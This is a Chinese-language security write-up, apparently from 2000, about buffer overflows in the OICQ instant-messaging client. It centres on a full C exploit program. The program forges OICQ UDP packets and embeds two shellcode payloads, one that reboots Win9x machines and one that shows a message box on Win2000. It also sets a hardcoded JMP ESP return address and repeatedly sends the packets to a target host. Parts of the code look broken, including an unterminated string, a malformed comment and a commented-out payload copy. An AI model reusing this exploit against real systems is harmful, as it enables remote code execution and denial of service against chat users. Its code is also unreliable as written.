再谈oicq的安全问题
By 袁哥 <yuange@163.net>
        <http://www.isbase.com/>


    拜读了ZER9的《oicq的安全问题》,觉得确实问题比较严重,所以也就抽空分析了OICQ程序,发现不只是存在信息加密、冒充好友等问题,更严重的是存在溢出问题。其0220版本有堆栈缓冲溢出问题、新版本0410同样有溢出问题,只不过是成了堆溢出。其中0220版本的堆栈溢出很容易导致远程执行任意代码。
    下面是我编写的溢出执行SHELLCODE的程序,大家可以参看了解问题的严重性。注意此程序只是提供此问题的说明,只用于研究缓冲溢出程序的编写和OICQ缓冲溢出问题的演示,至于用来攻击等本人一律不负任何责任。


/*   oicq 199b build 0220   overflow program
     copy by yuange <yuange@163.net>  2000。04。18
     新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
/*  

/*     OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》  
struct TOicqPtoP
{
char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag3; // 0x07
char Tag4; // 0x00
char Tag5; // 0x78
char Tag6; // 这两个字节相当于 unix 上的进程 ID,
char Tag7; // 随便赋值就可。
char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456
char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f
char cR; // '0' 固定
char cFF; //
char cE[]; // "75" ,这一位相对固定,可能是操作方式。
char cFF;
char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f
char OutMsg[]; // 发送的消息内容。
char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。
};
*/


#include <windows.h>
#include <winsock.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char *server;
char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f"
             "\x30\x1f\x37\x35\x1f"
             "2000-4-10"
             "\x1f"
             "12:00:00"
             "\x1f";
  /* oicq udp head */

  char sploit1[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x66\xba\xf9\x0c\x33\xc0\xef\x48\xef
                 "\xeb\xfe";   /* win9x 下的总线控制机器重启动代码  */

  char sploit[] ="\x90\x90\x90\x90\x55\x51\x8b\xec\x83\xec\x54\x33"
                 "\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee"
                 "\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1"
                 "\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6\x45\xf4\x57"
                 "\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47"
                 "\xc6\x45\xf8\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20"
                 "\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21"
                 "\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50"
                 "\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b"
                 "\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9"
                 "\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b"
                 "\xe5\x59\x5d";
  /*  WIN2000的一个显示MESSAGE后退出的代码  参见backend的 《Windows
      2000缓冲区溢出入门》 */

  //0x77e2e32a //user32.dll JMP ESP
  char eip[] = "\x2a\xe3\xe2\x77";

  /*  要攻击的OICQ机器的系统版本不一样就可能不一样。 */

  char buff[0x600];
  struct sockaddr_in s_in2,s_in3;
  struct hostent *he;
  int i,j;
  int fd;
  u_short port;
  SOCKET d_ip;
  WSADATA wsaData;
  int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
  if (result != 0) {
        fprintf(stderr, "Your computer was not connected "
            "to the Internet at the time that "
            "this program was launched, or you "
            "do not have a 32-bit "
            "connection to the Internet.");
        exit(1);
    }

  if(argc <2)
  {
       WSACleanup( );    
       fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://yuange.yeah.net .");
       fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]);
       exit(1);
  }
  else  server = argv[1];
  d_ip = inet_addr(server);
  if(d_ip==-1){
     he = gethostbyname(server);
     if(!he)
     {
       WSACleanup( );
       printf("\n Can't get the ip of %s !\n",server);
       exit(1);     
     }
     else    memcpy(&d_ip, he->h_addr, 4);

  }     
  if(argc>2) port = atoi(argv[2]);
  else port=4000;
  

  fd = socket(AF_INET, SOCK_DGRAM,0);
  i=8000;
  setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));
  s_in2.sin_family = AF_INET;
  s_in2.sin_port = htons(500);
  s_in2.sin_addr.s_addr =0;
         
  s_in3.sin_family = AF_INET;
  s_in3.sin_port = htons(port);
  s_in3.sin_addr.s_addr = d_ip;
  bind(fd,&s_in2, sizeof(struct sockaddr_in));
  printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));


  for(i=0;i<10;++i){

     j=rand();
     buff1[0x5]=j;
     buff1[0x6]=j+1;
       memset(buff,0x90,0x600);
     memcpy(buff,buff1,37);
//     memcpy(buff+7+0x28,sploit,strlen(sploit));

//   0x77e2e32a  user32.dll JMP ESP
     memcpy(buff+7+0x41c,eip,4);
//     buff[7+0x41c]=0xb0;
//     buff[7+0x41d]=0xdf;
//     buff[7+0x41e]=0x74;
//     buff[7+0x41f]=0x00;

     j=0x500;
     buff[j-1]=0x03;
     fprintf(stderr,"\n send  packet %d bytes.",i);
     sendto(fd,buff,i,0,&s_in3,sizeof(struct sockaddr_in));
  }
  closesocket(fd);
  WSACleanup( );
  return(0);
}